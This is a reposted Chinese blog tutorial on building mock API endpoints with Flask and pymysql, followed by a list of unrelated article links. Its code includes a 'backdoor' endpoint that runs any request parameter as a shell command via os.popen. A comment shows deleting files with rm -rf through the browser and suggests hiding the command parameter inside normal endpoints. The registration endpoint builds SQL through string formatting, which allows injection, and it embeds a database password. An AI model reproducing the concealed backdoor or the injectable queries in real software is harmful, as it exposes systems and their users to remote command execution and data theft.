当前位置: 首页 > news >正文

python mock数据,python学习开发mock接口

本文实例为大家分享了python学习开发mock接口的具体步骤,供大家参考,具体内容如下

#1.测试为什么要开发接口?

1)在别的接口没有开发好的时候, mock接口(模拟接口)

2)查看数据, 避免直接操作数据库

#2.开发接口的顺序

1)安装flask

flask是一个轻量级开发框架

pip install flask

2)开发一个接口

开发步骤:

1.实例化一个服务server:flask.Flask(__name__)

2.函数前加装饰器@server.route(), 将函数变为一个接口

3.启动服务server:server.run()

import flask,json,pymysql

server=flask.Flask(__name__)#__name__代表当前python文件, 把当前python文件当成一个服务

def opt_db(sql):

coon=pymysql.connect(

host='192.168.109.132',

user='root',

passwd='123456',

db='besttest',

port=3306,

charset='utf8'

)#建立db链接

cur=coon.cursor()#建立游标

cur.execute(sql);#执行sql

if sql.strip()[:6].upper()=='SELECT':

res=cur.fetchall()#获取sql返回

else:

coon.commit()

res='ok'

cur.close()#关闭游标

coon.close()#关闭db链接

return res

#get请求, 请求路径ip:port/index

@server.route('/index',methods=['get'])#装饰器,代表index函数是一个接口,支持get请求(默认get请求)

def index():

res={'msg':'这是我开发的第一个接口','msg_code':'0'}

return json.dumps(res,ensure_ascii=False,indent=4)

#post请求, 请求路径ip:port/reg

@server.route('/reg',methods=['post'])#装饰器,代表reg函数是一个接口,支持post请求(可以同时支持get、post请求)

def reg():

username=flask.request.values.get('username')#获取接口入参

pwd=flask.request.values.get('passwd')

if username and pwd:

sql='select * from syz_stu where username="%s";'%username

if opt_db(sql):

res={'msg':'用户已存在','msg_code':2001}#2001用户已存在

else:

insert_sql='insert into syz_stu (username,passwd) VALUES ("%s","%s");'%(username,pwd)

opt_db(insert_sql)

res={'msg':'注册成功','msg_code':'0'}

else:

res={'msg':'必填字段未填, 请查看接口文档','msg_code':1001}#1001必填字段未填

return json.dumps(res,ensure_ascii=False,indent=4)

#后门接口

@server.route('/error',methods=['post'])#路由,访问地址为----IP:端口/error

def cmd():

cmd = flask.request.values.get('cmd')#接口的入参

res = os.popen(cmd)#执行用户命令

return res.read()#返回执行结果

#http://127.0.0.1:8999/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除系统文件

#隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口

# 默认可以不传,一但传了再res = os.popen(cmd)

server.run(port=6688,debug=True,host='0.0.0.0')#启动服务,接口才能访问

# port=6688指定端口为6688

# debug=True设置代码修改后服务自动重启

# host='0.0.0.0'设置同一局域网的可以访问

# server.run() 必须在所有接口定义完后再定义, 否则, server.run()检测不到之后定义的接口, 接口是无法被运行的

运行以上代码,打开浏览器,请求http://localhost:6688/index,将看到返回{'msg': '这是我开发的第一个接口', 'msg_code': 0}

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持聚米学院。

相关文章:

  • php syslog 514,syslog详解及配置远程发送日志和远程日志分类
  • 兰春 MySQL,MySQL中经典的too many connection怎么破
  • php后台处理传来的图片文件,如何处理展示后台程序实时生成的文件?
  • php遍历json键值对,JS实现键值对遍历json数组功能示例
  • php服务器cpu要求,如何分析服务器需要什么样的配置(CPU、内存、带宽等)
  • oracle查看表的字段个数据,oracle逆向查询某个字段内容所存在的数据表名称
  • oracle在procedure调用自己,oracle 在plsql中创建procedure并调用
  • oracle if 插入,Oracle有条件地插入数据
  • oracle修复sysaux表空间,修复受损的SYSAUX表空间
  • matlab runge现象,龙格现象matlab算法.doc
  • oracle支持分区移动,Oracle 12c 新特性 --- 移动分区支持数据过滤
  • linux如何打开控制端口tty2,linux – 如何检测属于gsm/3g-modem的tty是数据还是控制端口?...
  • linux服务器安装xfce,Ubuntu 16.10安装Xfce桌面与VNC远程连接
  • linux个图形界面对比,Linux对比文件,很好用的图形界面
  • Linux配置与管理samba服务器,Linux Samba服务器配置与管理
  • Google 是如何开发 Web 框架的
  • AngularJS指令开发(1)——参数详解
  • Babel配置的不完全指南
  • CEF与代理
  • Docker 笔记(2):Dockerfile
  • express.js的介绍及使用
  • HTML中设置input等文本框为不可操作
  • httpie使用详解
  • IIS 10 PHP CGI 设置 PHP_INI_SCAN_DIR
  • Java基本数据类型之Number
  • PermissionScope Swift4 兼容问题
  • Quartz实现数据同步 | 从0开始构建SpringCloud微服务(3)
  • 阿里研究院入选中国企业智库系统影响力榜
  • 分布式任务队列Celery
  • 分布式熔断降级平台aegis
  • 好的网址,关于.net 4.0 ,vs 2010
  • 排序算法学习笔记
  • 前端知识点整理(待续)
  • ​Java并发新构件之Exchanger
  • ### Error querying database. Cause: com.mysql.jdbc.exceptions.jdbc4.CommunicationsException
  • (145)光线追踪距离场柔和阴影
  • (C#)if (this == null)?你在逗我,this 怎么可能为 null!用 IL 编译和反编译看穿一切
  • (Java)【深基9.例1】选举学生会
  • (二)fiber的基本认识
  • (附源码)springboot“微印象”在线打印预约系统 毕业设计 061642
  • (附源码)计算机毕业设计SSM教师教学质量评价系统
  • (十三)Java springcloud B2B2C o2o多用户商城 springcloud架构 - SSO单点登录之OAuth2.0 根据token获取用户信息(4)...
  • .apk文件,IIS不支持下载解决
  • .naturalWidth 和naturalHeight属性,
  • .NET Core IdentityServer4实战-开篇介绍与规划
  • .NET NPOI导出Excel详解
  • .netcore 如何获取系统中所有session_如何把百度推广中获取的线索(基木鱼,电话,百度商桥等)同步到企业微信或者企业CRM等企业营销系统中...
  • .sh文件怎么运行_创建优化的Go镜像文件以及踩过的坑
  • [AndroidStudio]_[初级]_[修改虚拟设备镜像文件的存放位置]
  • [Java性能剖析]Sun JDK基本性能剖析工具介绍
  • [JS入门到进阶] 前端开发不能写undefined?这是误区!
  • [LeetCode] 626. 换座位
  • [Linux]——彻底学通权限
  • [loj6039]「雅礼集训 2017 Day5」珠宝 dp+决策单调性+分治
  • [Mvc]在ASP.NET MVC中使用Repeater